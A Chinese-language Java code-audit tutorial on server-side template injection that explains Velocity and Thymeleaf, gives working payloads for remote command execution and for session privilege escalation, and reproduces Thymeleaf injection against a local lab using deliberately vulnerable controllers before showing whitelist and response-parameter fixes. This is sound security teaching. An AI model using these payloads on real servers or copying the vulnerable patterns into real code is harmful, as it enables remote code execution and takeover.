【Java代码审计】SSTI模板注入篇
- 1.概述
- 2.Velocity 模板引擎
- 3.Thymeleaf 模板注入复现
- 普通
- url作为视图
- 4.SSTI 漏洞修复
- 白名单控制跳转模版
- 设置response参数
1.概述
模板引擎支持使用静态模板文件,在运行时用 HTML 页面中的实际值替换变量/占位符,从而让 HTML 页面的设计变得更容易。当前广泛应用的模板引擎有 Smarty、Twig、Jinja2、FreeMarker 及 Velocity 等。若攻击者可以完全控制输入模板的指令,并且模板能够在服务器端被成功地进行解析,则会造成模板注入漏洞
SSTI 漏洞的危害有:任意代码执行,获取 SHELL, 破坏服务器完整性等
2.Velocity 模板引擎
在 Java 中有以下这些常见的模板引擎:XMLTemplate、Velocity、CommonTemplate、
FreeMarker、Smarty4j、TemplateEngine 等,Velocity 在 Java 中使用较多
在 Velocity 中我们以"#
"来标识 Velocity 的脚本语句,比如#set、#if、#else、#end、#foreach、#iinclude、#parse
等
例如:
#if($msg.img)
<img src="$msg.img" border=0>
#else
<img src="qccp.jpg">
#end
"$
"在 Velocity 中可以用来标识一个对象。根据 SpEL 表达式注入的知识,我们知道一旦可以调用对象,便有办法构造命令执行语句
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec()
在 Velocity 模板注入中,如果无法进行命令执行,那么我们往往可以通过修改 Cookie
来进行特权升级,例如:
$session.setAttribute("IS_ADMIN","1")
在漏洞不存在回显的情况下,并且容器为 Tomcat7 时,可以通过下面这种方法来构造一个拥有回显的命令执行:
#set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
3.Thymeleaf 模板注入复现
普通
漏洞代码:
public String thymeleafVul(@RequestParam String lang) {
// 模版文件参数可控
return "lang/" + lang;
}
触发payload:
http://127.0.0.1:8888/SSTI/thymeleaf/vul?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%27open%20-a%20Calculator%27).getInputStream()).next()%7d__::.x
成功RCE:
url作为视图
漏洞代码:
@GetMapping("/doc/vul/{document}")
public void getDocument(@PathVariable String document) {
log.info("[vul] SSTI payload: " + document);
}
根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称,即将请求的url作为视图名称,调用模板引擎去解析,在这种情况下,我们只要可以控制请求的controller的参数,一样可以造成RCE漏洞
触发payload:
http://127.0.0.1:8888/SSTI/doc/vul/__$%7BT(java.lang.Runtime).getRuntime().exec('open%20-a%20Calculator')%7D__::.x
成功RCE:
4.SSTI 漏洞修复
要修复 SSTI 漏洞的话,应避免用户能够直接控制模板的输入并对其进行过滤。如需要向用户公开模板编辑,则可以选择无逻辑的模板引擎,如 Handlebars 、Moustache 等
白名单控制跳转模版
public String thymeleafSafe(@RequestParam String lang) {
List<String> white_list = new ArrayList<String>();
white_list.add("en");
white_list.add("zh");
if (white_list.contains(lang)) {
return "lang/" + lang;
} else {
return "commons/401";
}
}
此时,白名单外的输入将被拦截:
设置response参数
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析
@GetMapping("/doc/safe/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("[safe] SSTI payload: " + document);
}
此时,再次触发payload,已经无法RCE: